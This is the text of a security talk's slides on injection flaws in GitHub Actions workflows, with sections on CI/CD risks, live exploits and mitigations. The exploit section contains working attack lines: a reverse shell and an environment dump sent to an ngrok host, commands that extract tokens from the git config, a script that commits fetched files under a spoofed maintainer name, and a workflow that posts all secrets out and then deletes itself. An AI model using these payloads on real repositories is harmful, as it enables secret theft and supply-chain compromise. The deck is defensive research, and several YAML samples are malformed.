About Me

Girish Nair CISSP, CSSLP

Account Executive @ Cycode

25yrs+ in Application development/security
Manages customers in North Central states including twin cities

Email: girish@cycode.com
LinkedIn: https://www.linkedin.com/in/girish-nair/
Agenda

1. CI/CD pipelines
2. GitHub Actions
3. Live Exploits
4. Real World Consequences
5. Mitigation Techniques
Research Team

The Cycode research team below found these vulnerabilities and promptly notified the concerned parties.

Alex Ilgayev
Senior Security Researcher
- Previously Malware Research Team Leader @ Check Point Research
- Enthusiastic friendly hacker
- @_alex_il_

Ronen Slavin
CTO, Co-Founder
- Co-founder & CTO @ FileLock (Acquired by Reason Security)
- Researcher @ Offensive Security Company
- Team Leader @ 8200
- @ronen_sl
Modern SDLC Tools
Modern CI/CD Pipeline

GitHub Actions Security Landscape
Top 10 CI/CD Security Risks

CICD-SEC-1  Insufficient Flow Control Mechanisms
CICD-SEC-2  Inadequate Identity and Access Management
CICD-SEC-3  Dependency Chain Abuse
CICD-SEC-4  Poisoned Pipeline Execution (PPE)
CICD-SEC-5  Insufficient PBAC (Pipeline-Based Access Controls)
CICD-SEC-6  Insufficient Credential Hygiene
CICD-SEC-7  Insecure System Configuration
CICD-SEC-8  Ungoverned Usage of 3rd Party Services
CICD-SEC-9  Improper Artifact Integrity Validation
CICD-SEC-10 Insufficient Logging and Visibility
GitHub Actions
GitHub & GitHub Actions

What is GitHub Actions?

A way to automate, customize, and execute your software development workflows right in your repository. You can discover, create, and share actions to perform any job you’d like, including CI/CD, and combine actions in a completely customized workflow.

<table>
<thead>
<tr>
<th>GitHub numbers according to January 2023:</th>
<th>GitHub Actions numbers according to May 2023:</th>
</tr>
</thead>
<tbody>
<tr>
<td>100M developers</td>
<td>18K+ actions on the marketplace</td>
</tr>
<tr>
<td>420M repositories</td>
<td>2.6M+ public workflows</td>
</tr>
</tbody>
</table>
## Possible Usages of GitHub Actions

<table>
<thead>
<tr>
<th>Usage</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Building the code into a container and uploading it to the chosen registry.</td>
<td>Scheduled tasks that scan vulnerabilities in code.</td>
</tr>
<tr>
<td>Running tests for forked pull requests.</td>
<td>Supporting automatic merges for PR created by external bots.</td>
</tr>
<tr>
<td>Automatic labeling for issues.</td>
<td>Sending issues to ticket handling system (Jira/Monday/Asana/etc.).</td>
</tr>
</tbody>
</table>

And more.
GitHub Action Example

Here is a sample GitHub Actions workflow printing “Hello World!”. It is a YAML file that will be triggered by adding it to the `.github/workflows` directory of the source code.

```
name: GitHub Actions Demo

on: [push]

jobs:
  Actions-Hello-World:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Hello World!"
```
GitHub Action - Label Issues

This sample workflow will run on each opened issue in the repository. If the issue body contains “bug” word, it will label the issue as a “bug”.

```
name: Label Issues

on:
  issues:
    types: [opened]

jobs:
  issue_check:
    runs-on: ubuntu-latest
    steps:
    - run: |
        if [[ "${{ github.event.issue.body }}" == "*bug*" ]]
        then
            curl -X POST -H "Authorization: Token ${{ secrets.GITHUB_TOKEN }}" -d '{"labels": ["bug"]}' ${github.event.issue.url}/labels
      fi
```
Live Exploits

DO NOT TRY these methods and exploits as these are shared for informational purposes only. Cycode and myself are not liable for the result of any attempt to take action based on the information presented.
We managed to execute code on the runner!
Injection attack

On each created issue:
- Check out the code
- Print the issue name and description
- Label the issue as “bug”
How it works: GitHub Runner Architecture

- The runner is a Github open-source project connecting to GitHub Actions Service, fetches jobs, and executes them
- It can run on a GitHub hosted machine, or self-hosted
- GitHub hosted runners will run as ephemeral environments
- For each workflow run, a new temporary GITHUB_TOKEN is created for possible API interactions
Github Access Tokens

- In order to access private Github assets, you need to provide an authentication token that details your permissions.
- Upon token creation, a developer chooses which permissions the token will have.

Select scopes
Scopes define the access for personal tokens. Read more about OAuth scopes.

- repo: Full control of private repositories
- repo:status: Access commit status
- repo:deployment: Access deployment status
- public_repo: Access public repositories
- repo:invite: Access repository invitations
- security_events: Read and write security events
- workflow: Update GitHub Action workflows
- write:packages: Upload packages to GitHub Package Registry
- read:packages: Download packages from GitHub Package Registry
- delete:packages: Delete packages from GitHub Package Registry
- admin:org: Full control of orgs and teams, read and write org projects
- write:org: Read and write org and team membership, read and write org projects
- read:org: Read org and team membership, read org projects

Expiration *

No expiration: The token will never expire!

GitHub strongly recommends that you set an expiration date for your token to help keep your information secure.
Learn more
Introducing: GITHUB_TOKEN

- The default permissions for a GITHUB_TOKEN are read/write for most of the events
- Has permissions only for the current repository
- The token is valid during the action execution period (24 hours at most)
- Used as default parameter in many actions and is the preferred method to invoke GitHub API functionalities
- Forked pull requests for public repositories will receive at most read permissions
Exposing Secrets:

Lab Setup

1. `ngrok tcp 11000`
2. tcp://8.tcp.ngrok.io:15063
3. `nc -lv 11000`
4. Sending malicious script
5. `bash -c 'env' > /dev/tcp/8.tcp.ngrok.io/15063`
Real World Consequences
Bug or Feature?

The following could be found on GitHub best practice papers:

“When creating workflows, custom actions, and composite actions actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.”

What Can We Do Now?
Is it widespread?

And more... These vulnerabilities can impact millions of potential victims.
Consequences of Build Compromise

**Exposing secrets** to sensitive assets such as: artifact registries, AWS/GCP/Azure assets and more.

Using exposed GitHub tokens to **commit to the repository**. This can cause a **critical supply chain incident**, as the attacker can introduce backdoors deployed to end-users or organization environments.

A much smaller risk would be the malicious actor’s ability to run botnets or crypto miners using runner infrastructure.
name: Label Issues
on:
  issues:
    types: [opened]
env:
  # Environment variable for demonstration purposes
  GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
jobs:
  vuln_job:
    runs-on: ubuntu-latest
    steps:
    # Checkout used for demonstration purposes
    - uses: actions/checkout@v3
      run: |
          echo "ISSUE TITLE: ${{github.event.issue.title}}"
          echo "ISSUE DESCRIPTION: ${{github.event.issue.body}}"
    - run: |
          curl -X POST -H "Authorization: Token ${{ secrets.BOT_TOKEN }}" -d '{"labels": ["New Issue"]}' ${github.event.issue.url}/labels

Exposing Secrets:
Environment Variables

$ env | grep GITHUB_TOKEN
GITHUB_TOKEN=ghs_REDACTED
name: Demo vulnerable workflow
on:
  issues:
    types: [opened]
env:
  # Environment variable for demonstration purposes
  GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
jobs:
  vuln_job:
    runs-on: ubuntu-latest
    steps:
      # Checkout used for demonstration purposes
      - uses: actions/checkout@v2
      - run: |
          echo "ISSUE TITLE: ${{github.event.issue.title}}"
          echo "ISSUE DESCRIPTION: ${{github.event.issue.body}}"
      - run: |
          curl -X POST -H "Authorization: Token ${{
              secrets.BOT_TOKEN }}" -d "{"labels": ["New Issue"]}" ${{
              github.event.issue.url }}/labels

Exposing Secrets:
Secrets from Checkout Action

$ cat $GITHUB_WORKSPACE/.git/config | grep AUTHORIZATION
extraheader = AUTHORIZATION: basic REDACTED

$ cat $GITHUB_WORKSPACE/.git/config | grep AUTHORIZATION |
cut -d':=' -f 2 | cut -d' ' -f 3 | base64 -d
x-access-token: ghs_REDACTED
name: Demo vulnerable workflow
on:
  issues:
    types: [opened]
env:
  # Environment variable for demonstration purposes
  GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
jobs:
  vuln_job:
    runs-on: ubuntu-latest
    steps:
      # Checkout used for demonstration purposes
      - uses: actions/checkout@v2
      - run: |
          echo "ISSUE TITLE: ${{github.event.issue.title}}"
          echo "ISSUE DESCRIPTION: ${{github.event.issue.body}}"
      - run: |

Exposing Secrets:

Secrets in "run" Scripts

$ ls -lha $RUNNER_TEMP
  total 20K
  drwxr-xr-x 4 runner docker 4.0K Feb 21 17:54 .
  drwxr-xr-x 6 runner root 4.0K Feb 21 17:54 ..
  -rw-r--r-- 1 runner docker 132 Feb 21 17:54
  39dda61c-1cea-4106-b28e-ec9a4f223df2.sh
  drwxr-xr-x 2 runner docker 4.0K Feb 21 17:54 _github_workflow
  drwxr-xr-x 2 runner docker 4.0K Feb 21 17:54 _runner_file_commands

$ cat $RUNNER_TEMP/39dda61c-1cea-4106-b28e-ec9a4f223df2.sh
  echo "ISSUE TITLE: New malicious issue title" && bash -i >& /dev/tcp/8.tcp.ngrok.io/15863 0>&1 && echo "
  echo "ISSUE DESCRIPTION: "

GitHub Actions Security Landscape
name: Demo vulnerable workflow

on:
  issues:
    types: [opened]

env:
  # Environment variable for demonstration purposes
  GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

jobs:
  vuln_job:
    runs-on: ubuntu-latest
    steps:
      # Checkout used for demonstration purposes
      - uses: actions/checkout@v2
      - run: |
        echo "ISSUE TITLE: ${{github.event.issue.title}}"
        echo "ISSUE DESCRIPTION: ${{github.event.issue.body}}"
        - run: |
            curl -X POST -H "Authorization: Token ${{ secrets.BOT_TOKEN }}" -d 
            "labels": ["New Issue"]' ${{ github.event.issue.url }}/labels

Exposing Secrets:

Secrets in "run" Scripts

- Creating a server that records all POST requests
- Creating a script that records modified shell scripts in a directory and sends them to a designated server.
- Packing the malicious script into a docker container.
- Running the container image in a detached mode

```sh
sudo docker run --rm -d -v /home/runner/work/_temp:/app/monitored
$DOCKER_USERNAME/actionmonitor $LAB_URL
```
Exposing Secrets:

**Additional Advanced Methods**

- Extract secrets from the memory layout of the `Runner.Worker` process.
- Recording all created processes and exfiltrating their environment variables.
- Recording all the network traffic and extracting sensitive information from it.
- Triggering the same job again by creating additional runner listener using the previously mentioned OAuth credentials.
**Committing Malicious Code**

Remote script

```bash
#!/bin/bash

# File to commit
FILE_URL_PATH_TO_COMMIT=$1

# Repository path where to commit
PATH_TO_COMMIT=$2

COMMIT_NAME="Maintainer Name"
COMMIT_EMAIL="maintainer@gmail.com"
COMMIT_MESSAGE="innocent commit message"

# Fetching the file
curl $FILE_URL_PATH_TO_COMMIT -o $PATH_TO_COMMIT
--create-dirs

# Commiting to the repo
git add *
find . -name '.[a-z]*' -exec git add '{}';
# Adding hidden files
git config --global user.email $COMMIT_EMAIL
git config --global user.name "$COMMIT_NAME"
git commit -m "$COMMIT_MESSAGE"
git push -u origin HEAD
```

Malicious runner command

```bash
$ curl -o /tmp/script.sh $SCRIPT_URL
$ chmod +x /tmp/script.sh
$ /tmp/script.sh $MALICIOUS_FILE_URL innocent_file.txt

[main 196e93a] innocent commit message
1 file changed, 1 insertion(+)
create mode 100644 innocent_file.txt
To <https://github.com/REDACTED/REDACTED>
ff7a7fd..196e93a  HEAD -> main
branch 'main' set up to track 'origin/main'.
```
Committing Malicious Code AND Exposing Secrets

Malicious YAMl file

```yaml
name: Exposing ALL Secrets
on:
  workflow_run:
    workflows: ["Vuln"]
jobs:
  expose_secrets:
    runs-on: ubuntu-latest
    steps:
    - run: |
      echo "${{ toJSON(secrets) }}" > .secrets
      curl -X POST -data "@.secrets" <SERVER_URL>
    - run: |
      curl -X DELETE -H "Authorization: Token ${{ github.token }}" https://api.github.com/repos/<REPO_OWNER>/<REPO_NAME>/contents/.github/workflows/innocent_workflow.yml -d '{"message": "innocent commit message","committer":{"name":"Maintainer Name","email":"maintainer@gmail.com"},"sha": "$SHA"}'
```

Malicious runner command

```bash
$ curl \
  -X PUT \
  -H "Accept: application/vnd.github.v3+json" \
  -H "Authorization: Token $GITHUB_TOKEN" \\
  -d '{"message": "innocent commit message","committer":{"name":"Maintainer Name","email":"maintainer@gmail.com"},"content":base64_encode(bmFtZTogRXhwb...=)"}' \\
```

GitHub Actions Security Landscape
Mitigation Techniques
Mitigations

- Avoid run steps and use external actions instead
- Sanitize your input using environment variables
- Limit your GITHUB_TOKEN permissions
- Use environments and branch protection
- Require approval for all outside collaborators
- Use Cycode CIMON, a build hardening tool.
Mitigations:

**Avoid “run” Steps**

For example, instead of running “curl” to update a label (like in our example), you can use “andymckay/labeler” as an external action.

```yaml
- name: Label
  run: |
    curl -X POST -H "Authorization: Token ${{ secrets.GITHUB_TOKEN }}" -d 'labels': ["${{ github.event.issue.title }}"]' ${{ github.event.issue.url }}/labels
```

**Before**

```yaml
- name: Label
  run: |
    curl -x POST -H "Authorization: Token ${{ secrets.GITHUB_TOKEN }}" -d "labels": ["${{ github.event.issue.title }}"]' ${{ github.event.issue.url }}/labels
```

**After**

```yaml
- name: Label
  uses: andymckay/labeler@1.0.2
  with:
    add-labels: "${{ github.event.issue.title }}"
```
Mitigations:

Sanitize Your Inputs

Instead of using GitHub context variables inside “run” commands, define and use them through environment variables.

Before

```
- run: |
  echo "ISSUE TITLE: ${{github.event.issue.title}}"
  echo "ISSUE DESCRIPTION: ${{github.event.issue.body}}"
```

After

```
- env:
  TITLE: ${{github.event.issue.title}}
  DESCRIPTION: ${{github.event.issue.body}}

run: |
  echo "ISSUE TITLE: $TITLE"
  echo "ISSUE DESCRIPTION: $DESCRIPTION"
```
Mitigations:

**Limit Token Permissions**

For example, if our action only labels issues, we could limit its permissions with the following update.

```yaml
permissions:
  contents: read
  issues: write
```

**Workflow permissions**

Choose the default permissions granted to the GITHUB_TOKEN when running workflows in this repository. You can specify more granular permissions in the workflow using YAML. [Learn more about managing permissions.]

- **Read and write permissions**
  Workflows have read and write permissions in the repository for all scopes.

- **Read repository contents and packages permissions**
  Workflows have read permissions in the repository for the contents and packages scopes only.
Mitigations:

Require Approval for Outside Collaborators

The default behavior is to require manual approval for first-time contributors.
We suggest “Require approval for all outside collaborators” for a more robust defense.
Mitigations:

Use Environments and Branch Protection

We suggest storing the sensitive secrets in environments (available only in GitHub Enterprise), and protect them through branch protections rules.
Mitigations:

Use Cycode CIMON

CIMON is a build hardening tool from Cycode.

https://cycode.com/cimon-build-hardening/

```
name: Label Issues
on:
  issues:
    types: [opened]
env:
  # Environment variable for demonstration purposes
  GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
jobs:
  vuln_job:
    runs-on: ubuntu-latest
    steps:
      # CIMON building hardening agent
      - uses: cycodelabs/cimon-action@v0
        with:
          prevent: true
          allowed-hosts: cycode.com
```
Takeaways

1. Your software build pipelines could be compromised.
2. There have been several high-profile attacks in the wild that were focused on software build pipelines.
3. The consequences of these compromises could be disastrous.
4. Don’t just think of Security in the pipeline. Also focus on Security OF the pipeline.
Thank You!

Check out the full blog post:
https://cycode.com/blog/github-actions-vulnerabilities

Email: girish@cycode.com